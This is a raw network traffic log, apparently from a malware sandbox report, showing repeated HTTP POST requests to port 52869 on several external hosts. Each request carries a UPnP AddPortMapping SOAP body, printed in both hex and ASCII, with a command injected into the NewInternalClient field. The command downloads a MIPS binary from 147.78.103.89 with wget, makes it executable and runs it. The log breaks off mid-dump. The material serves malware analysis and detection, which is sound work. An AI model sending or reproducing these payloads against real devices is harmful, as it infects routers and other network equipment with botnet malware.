63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:00.727238894 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:25.046633959 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      149192.168.2.156010645.131.65.17452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:38.654944897 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      150192.168.2.155245245.117.146.5652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:38.761689901 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:40.215837955 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:41.911746025 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:45.367732048 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 